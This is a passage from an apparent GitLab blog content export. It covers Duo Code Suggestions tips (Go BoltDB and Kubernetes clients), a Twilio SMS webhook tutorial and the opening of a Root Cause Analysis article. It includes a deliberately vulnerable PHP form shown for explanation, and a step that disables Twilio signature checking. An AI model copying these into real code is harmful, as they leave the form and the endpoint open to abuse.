Suggestions prompt to specifically use the suggested libraries, for example, BoltDB.\n\n```diff\n// Create an in-memory key value store, similar to Redis \n// Provide methods to\n// set/unset keys\n// update values\n// list/print with filters\n+// Use BoltDB as external library\n```\n\nRepeat the pattern from above: Generate the source code functions, then ask GitLab Duo to create a main function with test data, and build the code. The main difference is external libraries, which need to be pulled with the `go get` command first. \n\n```shell\ngo get\ngo build\n```\n\nIf the source code build fails with missing dependencies such as `fmt`, practice using GitLab Duo again: Move the cursor into the `import` statement, and wait for the suggestion to add the missing dependencies. Alternatively, add a comment saying `Import all libraries`.\n\n![Code Suggestions - go kv external lib boltdb fix dependencies](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_kv_external_lib_boltdb_fix_deps.png)\n\nYou can also add more test data again, and verify how the functions behave: `// Add more random test data, focus on extreme test cases`. In the following example, an empty key causes the program to panic.\n\n![Code Suggestions - Go kv external lib boltdb test extreme cases panic](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_kv_external_lib_boltdb_test_extreme_cases_panic.png)\n\nThis example is a great preparation for test cases later on.\n\n### Practical code generation: Cloud-native observability\n\nThink of a client application in Go, which lists the current state of containers, pods, and services in a Kubernetes cluster, similar to the `kubectl get pods` command line. The Kubernetes project provides [Go libraries](https://pkg.go.dev/k8s.io/client-go/kubernetes) to programmatically interact with the Kubernetes APIs, interfaces, and object structures.\n\nOpen your IDE, and create a new Go project.\n\n> **Tip:** You can ask Chat how to do it - `How to start a Go project? Please show CLI command examples`. \n\nStart with a single comment on top of the `main.go` file, and describe the application purpose: Observability in Kubernetes.\n\n```golang\n// Create a client for Kubernetes observability\n```\n\nThink about the main requirements: Get access to Kubernetes, create context, namespace, and inspect the state. Additionally, instruct Code Suggestions to import packages and create a main package in the `main.go` file.\n\nFirst iteration:\n\n```golang\n// Create a client for Kubernetes observability\n// Inspect container, pod, service status and print an overview\n```\n\nThis might do unexpected things with hardcoding the access credentials, missing contexts, failing builds.\n\nSecond iteration:\n\n```golang\n// Create a client for Kubernetes observability\n// Create a function that\n// Read the kubernetes configuration file from the KUBECONFIG env var\n// Inspect container, pod, service status and print an overview\n```\n\nThis might not know about Kubernetes contexts and namespaces, thus leading to build errors or unexpected results.\n\nThird iteration:\n\n```golang\n// Create a client for Kubernetes observability\n// Create a function that\n// Read the kubernetes configuration file from the KUBECONFIG env var\n// Create kubernetes context, namespace default\n// Inspect container, pod, service status and print an overview\n```\n\nThis example hardcodes the Kubernetes context and default namespace to generate an initial foundation. Later iterations can read the namespace value from a command line parameter, or configuration file.\n\nThe final example can look like the following. In addition to the application functionality, it also instructs Code Suggestions to import all dependencies, and create a `main` package in `main.go`.\n\n```golang\n// Create a client for Kubernetes observability\n// Create a function that\n// Read the kubernetes configuration file from the KUBECONFIG env var\n// Create kubernetes context, namespace default\n// Inspect container, pod, service status and print an overview\n// Import necessary packages\n// Create main package\n```\n\n\u003Cdetails> Solution \n\u003Csummary>\n\n```golang\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"k8s.io/client-go/kubernetes\"\n\t\"k8s.io/client-go/tools/clientcmd\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n)\n\nfunc main() {\n\tkubeconfig := os.Getenv(\"KUBECONFIG\")\n\tconfig, err := clientcmd.BuildConfigFromFlags(\"\", kubeconfig)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tpods, err := clientset.CoreV1().Pods(\"\").List(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"There are %d pods in the cluster\\n\", len(pods.Items))\n\n\t// Additional code to inspect services, containers, etc\n}\n```\n\n\u003C/summary>\n\u003C/details>\n\nExample output:\n\n![duo code suggestions - go k8s o11y output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_k8s_o11y_output.png)\n\n**Async exercise:** Complete the project with code for inspecting services, containers, etc., and export the findings to [OpenTelemetry](https://opentelemetry.io/).\n\n> **Tip:** Practice with the [GitLab Duo use cases: Code generation prompts](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#code-generation-prompts) in the documentation, and/or send merge requests with your working prompts.\n\nWhile recording a short video to highlight how code generation is working, another more refined source code was generated. You can inspect the differences in [this commit](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/commit/a1a46de9789d4791f04b4df9f1a35d05b8e67568), and benefit from both solutions.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ORpRqp-A9hQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Take advantage of all GitLab Duo features \n\n### Combine Chat with Code Suggestions\n\nIn combination with [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat/index.html), Code Suggestions becomes even more powerful. The following workflow illustrates the intersection of AI efficiency:\n\nWrite and generate new code using Code Suggestions. The source code will be verified through CI/CD automation, code quality tests, and security scanning. But what about the developer's knowledge?\n\n1. In your IDE, select the generated code portions and use the [`/explain` slash command](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide) in the Chat prompt. You can even refine the prompt to `/explain with focus on algorithms`, or otherwise helpful scopes such as potential security or performance problems, etc.\n\n    - Continue writing and maintaining source code, but at some point code quality decreases and refactoring gets challenging. Ask GitLab Duo Chat for help.\n\n2. In your IDE, select the source code, and use the [`/refactor` slash command](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#refactor-code-in-the-ide) in the Chat prompt. You can refine the prompt to focus on specific design patterns (functions, object-oriented classes, etc.), `/refactor into testable functions` for example._\n\n    - After ensuring more readable code, tests need to be written. What are potential extreme cases, or random data examples for unit tests? Research and implementation in various frameworks can take time.\n\n3. In your IDE, select the source code, and use the [`/tests` slash command](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#write-tests-in-the-ide) in the Chat prompt. You can also refine the prompt to focus in specific test frameworks, scenarios, input methods, etc. \n\n    - Code quality and test coverage reports are green again. Focus on efficient DevSecOps workflows with Code Suggestions again. \n\nMore scenarios are described in the [GitLab Duo use cases documentation](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html).\n\n### Use Chat to generate build configuration\n\nThe time-intensive research on getting started with a new project can be exhausting. Especially with different paths to do it right, or alternative frameworks, this can lead to more work than anticipated. Newer programming languages like Rust propose one way (Cargo), while Java, C++, etc. offer multiple ways and additional configuration languages on top (Kotlin DSL, CMake DSL, etc.).\n\nTake advantage of asking GitLab Duo how to start a project, generate specific configuration examples for build tools (e.g. `Please show a gradle.build example for Spring Boot`), and reduce the time to start developing, building, and testing source code.\n\n1. Java, Gradle, Spring Boot: `Please show a gradle.build example for Spring Boot`\n1. C++, CMake, clang: `Please show a basic CMake configuration file for C++17, using clang as compiler.`\n1. Python: `Please show how to initialize and configure a Python project on the CLI`\n1. Rust: `Please show how to initialize and configure a Rust project.`, followed by a refinement question: `Explain the structure of Cargo.toml`.\n1. Go: `Please show how to initialize and configure a Go project`. \n\n### Use Chat to explain potential vulnerabilities\n\nLet us assume that some PHP code was generated to create a web form. The code might be vulnerable to security issues.\n\n```php\n\u003C?php \n// Create a feedback form for user name, email, and comments\n// Render a HTML form\n\n$name = $_POST['name'];\n$email = $_POST['email'];\n$comments = $_POST['comments'];\n\necho '\u003Cform method=\"post\">';\necho '\u003Clabel for=\"name\">Name:\u003C/label>';\necho '\u003Cinput type=\"text\" id=\"name\" name=\"name\">';\n\necho '\u003Clabel for=\"email\">Email:\u003C/label>';\necho '\u003Cinput type=\"email\" id=\"email\" name=\"email\">';\n\necho '\u003Clabel for=\"comments\">Comments:\u003C/label>';\necho '\u003Ctextarea id=\"comments\" name=\"comments\">\u003C/textarea>';\n\necho '\u003Cinput type=\"submit\" value=\"Submit\">'; \necho '\u003C/form>';\n\n?>\n```\n\nSelect the source code, and [ask Chat to explain](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide), using a refined prompt with `/explain why this code is vulnerable to bad security actors`. \n\n![Code Suggestions - Chat explains potential vulnerability](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_chat_explain_potential_vulnerability.png)\n\n> **Tip**: We are investigating and learning in the local developer environment. The vulnerable source code can be fixed before it reaches a Git push and merge request that trigger security scanning, which will unveil and track the problems, too. Learning about security vulnerabilities helps improve the developer experience.\n\n### Combine vulnerability resolution with Code Suggestions\n\nLets look into another example with an intentional [vulnerability resolution challenge](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/vulnerability-resolution/challenge-resolve-vulnerabilities), and see if we can use Code Suggestions in combination with vulnerability resolution. The linked project has been preconfigured with static application security testing (SAST) scanning. You can follow these steps to configure GitLab SAST by using the [SAST CI/CD component](https://gitlab.com/explore/catalog/components/sast) in the `.gitlab-ci.yml` CI/CD configuration file.\n\n```yaml\ninclude:\n  # Security: SAST (for vulnerability resolution)\n  - component: gitlab.com/components/sast/sast@1.1.0\n```\n\nAfter inspecting the vulnerability dashboard and details, you can use [vulnerability explanation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-explanation) to better understand the context and potential problems. [Vulnerability resolution](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#vulnerability-resolution) creates a rerge request with a proposed source code fix for a detected security vulnerability. \n\nSometimes, it can be necessary to refine the suggested code. Navigate into the [created MR](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/vulnerability-resolution/challenge-resolve-vulnerabilities/-/merge_requests/1), and either copy the Git branch path for local Git fetch, or open the Web IDE from the `Edit` button to continue in the browser. Navigate into the source code sections with the fixed code portions, and modify the code with a comment:\n\n```\n// refactor using safe buffers, null byte termination\n```\n\n![duo code suggestions - with vulnerability resolution proposal](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_with_vulnerability_resolution_proposal.png)\n\nAlternatively, you can also open Chat, select the source code and use the `/refactor` slash command.\n\n![duo code suggestions - with vulnerability resolution add duo chat refactor](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_with_vulnerability_resolution_add_duo_chat_refactor.png)\n\nA full example is available in the [GitLab Duo use cases documentation](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#explain-and-resolve-vulnerabilities). \n\nHere is a recording of that example:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Ypwx4lFnHP0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## More tips \n\n### Verify code quality and security\n\nMore generated code requires quality assurance, testing, and security measures. Benefit from all features on a DevSecOps platform:\n\n1. [CI/CD components](https://docs.gitlab.com/ee/ci/components/) and [pipeline efficiency](https://docs.gitlab.com/ee/ci/pipelines/pipeline_efficiency.html)\n1. [Code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html)\n1. [Code test coverage](https://docs.gitlab.com/ee/ci/testing/code_coverage.html)\n1. [Application security](https://docs.gitlab.com/ee/user/application_security/)\n1. [Observability](https://docs.gitlab.com/ee/operations/tracing.html)\n\n### Learn as a team, and understand AI impact\n\nAdapt and explore with dedicated team collaboration sessions, and record them for other teams to benefit from later. You can also follow the [GitLab Duo Coffee Chat playlist on YouTube](https://www.youtube.com/playlist?list=PL05JrBw4t0Kp5uj_JgQiSvHw1jQu0mSVZ).\n\nRead about AI impact metrics, including [How to put generative AI to work in your DevSecOps environment](https://about.gitlab.com/the-source/ai/how-to-put-generative-ai-to-work-in-your-devsecops-environment/) and the [Developing GitLab Duo: AI Impact analytics dashboard measures the ROI of AI](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/). Visit the [AI Transparency Center](https://about.gitlab.com/ai-transparency-center/) to learn more about data usage, transparency, and AI ethics at GitLab.\n\n### Development is a marathon, not a sprint\n\nSometimes, code suggestions might take longer to load, compared to local auto-completion features. Take this time as an advantage, and think about the current algorithm or problem you are trying to solve. Often, a secondary thought can lead to more refined ideas. Or you can take a short break to take a sip from your preferred drink, and continue refreshed when the suggestions arrive.\n\nSome algorithms are super complex, or require code dependencies which cannot be resolved through auto-completion help. Proprietary and confidential code may provide less context to the large language models, and, therefore, require more context in the comments for Code Suggestions. Follow your own pace and strategy, and leverage Code Suggestions in situations where they help with boilerplate code, or helper functions. \n\n> **Tip:** Explore [Repository X-Ray](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/repository_xray.html) for more Code Suggestions context, and test experimental features, for example, [support for more languages in VS Code](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html#add-support-for-more-languages-for-code-suggestions-in-vs-code). More insights can be found in the epic to [improve acceptance rate for Code Suggestions](https://gitlab.com/groups/gitlab-org/-/epics/13085).\n\n### Contribute using GitLab Duo\n\nYou can use GitLab Duo to contribute to open source projects, using Code Suggestions, code refactoring, documentation through explanations, or test generation.\n\nGitLab customers can [co-create GitLab using GitLab Duo](https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#use-gitlab-duo-to-contribute-to-gitlab), too. Follow the updated guidelines for [AI-generated contributions](https://about.gitlab.com/community/contribute/dco-cla/#ai-generated-contributions), and watch an example recording from the GitLab Duo Coffee Chat: Contribute to GitLab using Code Suggestions and Chat:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/TauP7soXj-E\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Share your feedback\n\nGitLab Duo Code Suggestions enables more efficient development workflows. It requires hands-on practice and exercise through tutorials, team workshops, and guided training. Automated workflows with code quality, security scanning, and observability help tackle challenges with newly introduced source code at a much higher frequency. Taking advantage of all GitLab Duo features, including Chat, greatly improves the developer experience on the most comprehensive AI-powered DevSecOps platform.\n\nUse the best practices in this tutorial to kickstart your journey, follow the [GitLab Duo documentation](https://docs.gitlab.com/ee/user/gitlab_duo/index.html), and [ask our teams for GitLab Duo AI workshops](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/) (I have already shadowed customer workshops, they are great!). Please share your Code Suggestions feedback in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/435783), including screenshots and videos (when possible).\n\n> [Try GitLab Duo for free today!](https://about.gitlab.com/gitlab-duo/#free-trial)",[790,754,696],{"slug":5653,"featured":92,"template":678},"top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo","content:en-us:blog:top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo.yml","Top Tips For Efficient Ai Powered Code Suggestions With Gitlab Duo","en-us/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo.yml","en-us/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo",{"_path":5659,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5660,"content":5665,"config":5671,"_id":5673,"_type":16,"title":5674,"_source":17,"_file":5675,"_stem":5676,"_extension":20},"/en-us/blog/combine-gitlab-webhooks-and-twilio-for-sms-alerts-on-devsecops-platform",{"title":5661,"description":5662,"ogTitle":5661,"ogDescription":5662,"noIndex":6,"ogImage":1064,"ogUrl":5663,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5663,"schema":5664},"Combine GitLab webhooks and Twilio for SMS alerts on DevSecOps platform","Configure GitLab webhooks with SMS alerts to instantly get feedback on new and existing issues within a project and enable teams to react quickly to project- and group-level changes.","https://about.gitlab.com/blog/combine-gitlab-webhooks-and-twilio-for-sms-alerts-on-devsecops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Combine GitLab webhooks and Twilio for SMS alerts on DevSecOps platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ted Gieschen\"}],\n        \"datePublished\": \"2024-06-10\",\n      }",{"title":5661,"description":5662,"authors":5666,"heroImage":1064,"date":5668,"body":5669,"category":962,"tags":5670},[5667],"Ted Gieschen","2024-06-10","We all strive to create the most robust and secure DevSecOps environments where everyone can collaborate to deliver amazing products for our customers. But no matter how robust and secure we design our environments we cannot exclude the possibility that something might go wrong. When an issue does occur we want to make sure we can remediate it quickly. To do that it's not only important to document the details of the issue but also get the right people notified immediately. In this article, we will set up GitLab [webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html) together with [Twilio's functionality](https://www.twilio.com/en-us) to [send SMS alerts](https://www.twilio.com/docs/messaging) to the right people, getting them up to date so they can mitigate problems quickly.\n\n## Prerequisites\n\n1. A GitLab account: Webhooks aren't restricted by tier, which means this feature can be used with a [Free, Premium or Ultimate license](https://about.gitlab.com/pricing/) for either [GitLab's SaaS or self-managed offering](https://docs.gitlab.com/ee/subscriptions/choosing_subscription.html). If you don't have an account yet, you can create one on [our sign-up page]( https://gitlab.com/users/sign_up).\n\n2. A Twilio account: To handle the incoming webhook and send an SMS, you will need a Twilio account. If you don't already have one, you can create one on [Twilio's sign-up page](https://www.twilio.com/try-twilio).\n\n3. (Optional) An SMS-capable phone to test the functionality: We will be testing the functionality at the end of this article. If you want to follow along, you will need access to a phone that can receive SMS texts.\n\n4. (Optional) A basic understanding of Node.js: We will be handling the webhooks using a serverless function provided by Twilio Functions. This will be written in [Node.js](https://nodejs.org/en/about). Although you can simply copy-paste the functionality, it would be beneficial to understand the basics of Node.js so you can expand functionality in the future.\n\n## Building automated SMS notifications\n\nNow, let's get hands-on with building real-time SMS notifications.\n\nAt a high level, the workflow looks as follows:\n\n![SMS workflow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099023/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099023261.png)\n\n1. An event is triggered within GitLab. This event is then picked up by GitLab's webhook functionality.\n2. The information of the event is then sent as a webhook to a [Twilio Function](https://www.twilio.com/docs/serverless/functions-assets/functions).\n3. Twilio Functions processes the event data sent by GitLab and creates the SMS body with relevant information.\n4. When complete, Twilio Functions triggers [Twilio Programmable Messaging](https://www.twilio.com/docs/messaging) with the SMS body and recipient information.\n5. Twilio Programmable Messaging then sends the SMS with the generated body to the recipient.\n\n### Set up Twilio SMS\n\nWe need to set up our Twilio environment to be able to send SMS. To do this, log in to your Twilio account. If you don't have one just follow the link provided in the prerequisites section above.\n\nOnce logged in you will see the Twilio Console, which will look something like this:\n\n![Twilio console](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099023/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099023261.png)\n\nFrom here, we will head to the left sidebar menu and select __United States (US1) > Phone Numbers > Manage > Active numbers__ and then click the \"Buy a number\" button.\n\n![Buy a number screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099023/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750099023263.png)\n\nYou can select a phone number, which will be the number that notifications are sent from. There are some [guidelines](https://www.twilio.com/docs/messaging/guides/sending-international-sms-guide) specific to which countries you can send SMS based on the Twilio phone number you purchase, so please keep that in mind. In this example, I will be using my personal U.S. phone number for this article as the recipient phone number, so, in this case, I will purchase a U.S. Twilio number. Just make sure your phone number has the SMS capability. Once selected, simply click the \"Buy \u003Cphone number>\"  button.\n\n![twilio webhooks - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099023/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099023265.png)\n\nNext, we just need to make sure Twilio can send SMS to our recipient phone number by allowing Twilio Programmable Messaging to send SMS to the country our recipient phone number is associated with. To do so, head to __[United States (US1) > Messaging > Settings > Geo permissions__ and make sure that the country associated with the recipient's phone number is selected (for example, as I am using my U.S. phone number as the recipient phone number in this blog, I will select United States).\n\n![twilio webhooks - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099023/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750099023267.png)\n\nClick \"Save geo permissions.\" With that we're all set up to send SMS.\n\nNext, let's handle the processing of the webhook and the creation of our SMS alerts with Twilio Functions.\n\n### Set up Twilio Functions\n\nTo process the webhook we will be sending to Twilio, we need to define a Twilio Function. To do this, select **United States (US1) > Functions and Assets > Functions (Classic) > List** and click \"Create a Function.\" Select the \"Hello SMS\" option in the pop-up and click \"Create.\"\n\n![Create a Twilio function](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099023/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099023269.png)\n\nNow, let's go ahead and configure our Twilio Function.\n\n1. Extend the path for example `/handle-event-webhook`. In my case this would result in the following path: `https://daff-mac-7354.twil.io/handle-event-webhook`.\n\n2. Disable the option `Check for valid Twilio signature`.\n\n3. Adjust the code to the following, making sure to update the values for `\u003Cyour personal phone number>` and `\u003Cyour Twilio Phone number>`:\n\n``` javascript\nexports.handler = function (context, event, callback) {\n  const twilioClient = context.getTwilioClient();\n\n  twilioClient.messages\n    .create({\n      body: `Hi there! There was an update to issue (${event[\"object_attributes\"][\"id\"]}) with title \"${event[\"object_attributes\"][\"title\"]}\" in project ${event[\"repository\"][\"name\"]}. It was just ${event[\"object_attributes\"][\"action\"]}.`,\n      to: \"\u003Cyour personal phone number>\",\n      from: \"\u003Cyour Twilio Phone number>\",\n    })\n    .then((message) => {\n      console.log(\"SMS successfully sent\");\n      console.log(message.sid);\n      return callback(null, `Success! Message SID: ${message.sid}`);\n    })\n    .catch((error) => {\n      console.error(error);\n      return callback(error);\n    });\n};\n\n```\n\nIt should end up looking like the following:\n\n  ![Configuration for Twilio function](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099023/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099023271.jpg)\n\nNow, whenever our endpoint is hit, it should trigger an SMS with a custom message indicating a change to an existing issue which will represent an example of the various [webhook events](https://docs.gitlab.com/ee/user/project/integrations/webhook_events.html) we can configure.\n\nNext, let's set our webhooks within GitLab to trigger this endpoint whenever a change to an issue is made.\n\n### Set up GitLab webhooks\n\nLog in to your GitLab instance and go to the project you would like to configure event webhooks in.\n\nOnce in the Project, go to **Settings > Webhooks** and click on \"Add new webhook.\"\n\n![Screen to add a new webhook](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099023/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099023273.png)\n\nYou will only need to configure the following fields:\n\n1. URL: This should be the endpoint we defined in the previous section. In the previous example that would be `https://daff-mac-7354.twil.io/handle-event-webhook`.\n\n2. Trigger: In our case, we will be reacting to [issues events](https://docs.gitlab.com/ee/user/project/integrations/webhook_events.html#issue-events), so check \"Issues events.\"\n\n![Configuring URL and trigger fields](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099023/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750099023274.png)\n\nWe're all set to test our setup!\n\n### Testing\n\nWhile in the project that was just configured to react to issues events, head to \"Plan > Issues\" and click on \"New issue.\"\n\n![New issue screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099023/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750099023276.png)\n\nAdd a title and click on \"Create Issue.\"\n\n  ![Create issue screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099023/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750099023278.png)\n\nIf everything is configured correctly, you should get an SMS looking something like:\n\n`Sent from your Twilio trial account - Hi there! There was an update to issue (146735617) with title \"GitLab webhook example\" in project Webhooks Example. It was just opened.`\n\n## Expanding the use case\n\nWe've leveraged Twilio's SMS functionality in combination with GitLab webhooks to instantly get feedback on new and existing issues within our project, allowing us to react quickly to any changes that might occur. This simple use case showed how one person could instantly get informed about a single type of event. However, often we want to inform more people about various events or be able to react to more than just one type of event (like issue creation and updates).\n\nThis functionality can be expanded by:\n\n1. Sending SMS alerts to multiple people: This can be achieved by extending the Twilio Function to loop through a given array of phone numbers. [Twilio's Messaging Service](https://www.twilio.com/docs/messaging/services) can be leveraged to potentially simplify the process of sending SMS to various phone numbers.\n\n2. Handling different event types: Select more types of webhook events in the Project settings to react to other things like [comments](https://docs.gitlab.com/ee/user/project/integrations/webhook_events.html#comment-events), [deployments](https://docs.gitlab.com/ee/user/project/integrations/webhook_events.html#deployment-events), or [releases](https://docs.gitlab.com/ee/user/project/integrations/webhook_events.html#release-events).\n\n3. Configure on a group level: In this example, we’ve only configured webhooks on a project level. However, if it is relevant to react to events across projects on a group level, this can also be configured, removing the need to change webhook settings for each project.\n\n4. Self-host message generation functionality: Leverage [Twilio Server Side SDKs](https://www.twilio.com/docs/libraries) instead of Twilio Functions to host the code yourself. This could benefit you if you have restrictions on where you can host code as well as allow you to more easily connect with the rest of your code base likecfetching information from your database to get phone numbers for relevant people.\n\n> Start [a free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial) today to test-drive more DevSecOps features.",[754,696,695,674,479],{"slug":5672,"featured":92,"template":678},"combine-gitlab-webhooks-and-twilio-for-sms-alerts-on-devsecops-platform","content:en-us:blog:combine-gitlab-webhooks-and-twilio-for-sms-alerts-on-devsecops-platform.yml","Combine Gitlab Webhooks And Twilio For Sms Alerts On Devsecops Platform","en-us/blog/combine-gitlab-webhooks-and-twilio-for-sms-alerts-on-devsecops-platform.yml","en-us/blog/combine-gitlab-webhooks-and-twilio-for-sms-alerts-on-devsecops-platform",{"_path":5678,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5679,"content":5685,"config":5691,"_id":5693,"_type":16,"title":5694,"_source":17,"_file":5695,"_stem":5696,"_extension":20},"/en-us/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd",{"title":5680,"description":5681,"ogTitle":5680,"ogDescription":5681,"noIndex":6,"ogImage":5682,"ogUrl":5683,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5683,"schema":5684},"GitLab Duo: AI-powered CI/CD pipeline root cause analysis","Discover how we've infused Root Cause Analysis with AI to help remedy broken CI/CD pipelines, including example scenarios and take-away exercises.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097321/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750097321081.png","https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Developing GitLab Duo: Blending AI and Root Cause Analysis to fix CI/CD pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rutvik Shah\"},{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2024-06-06\",\n      }",{"title":5686,"description":5681,"authors":5687,"heroImage":5682,"date":5688,"body":5689,"category":791,"tags":5690},"Developing GitLab Duo: Blending AI and Root Cause Analysis to fix CI/CD pipelines",[2464,4808],"2024-06-06","___Generative AI marks a monumental shift in the software development industry, making it easier to develop, secure, and operate software. Our new blog series, written by our product and engineering teams, gives you an inside look at how we create, test, and deploy the AI features you need integrated throughout the enterprise. Get to know new capabilities within GitLab Duo and how they will help DevSecOps teams deliver better results for customers.___\n\nHave you ever encountered a broken [CI/CD](https://about.gitlab.com/topics/ci-cd/benefits-continuous-integration/) pipeline and had to halt your DevSecOps workflow, or even delay software deployment, as you try to figure out the root cause? Traditionally, when something goes wrong in the process of creating software, developers have to troubleshoot, dig through log files, and often do a lot of trial and error development. [GitLab Duo Root Cause Analysis](https://about.gitlab.com/gitlab-duo/), part of our suite of AI-powered features, removes the guesswork by determining the root cause for a failed CI/CD pipeline. In this article, you'll learn what Root Cause Analysis is and how to apply the AI-powered GitLab Duo feature to your DevSecOps workflow.\n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)\n\n### What is Root Cause Analysis?\n\nGitLab Duo Root Cause Analysis is an AI-powered feature that assists you in determining a root cause and suggesting a fix for a CI/CD job log failure by analyzing the logs.\n\nWhile Root Cause Analysis is often seen in product incident management, its workflows and debugging practices can be found in any DevSecOps workflow. Ops teams, administrators, and platform engineers are challenged by infrastructure-as-code (IaC) deployment errors, Kubernetes and GitOps problems, and long stack traces while investigating pipeline failures.\n\nGitLab Duo Root Cause Analysis keeps everyone in the same interface and uses AI-powered help to summarize, analyze, and propose fixes so that organizations can release secure software faster.\n\nA pipeline can encounter failures for a variety of reasons, including syntax errors in the code, missing dependencies that the pipeline relies on, test failures during the build process, Kubernetes and IaC deployment timeouts, and numerous other potential issues. When such failures occur, it becomes the responsibility of everyone to meticulously review the logs generated by the pipeline. This job log review process involves scrutinizing the detailed output to identify the specific errors and pinpoint the root cause of the pipeline failure. For example, the following pipeline has multiple job failures that need to be investigated and fixed.\n\n![Image depicting multiple job failures](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097332601.png)\n\nThe duration required to fix these failures can vary significantly and is largely influenced by several factors such as:\n- the developer's familiarity with the project\n- their level of experience in 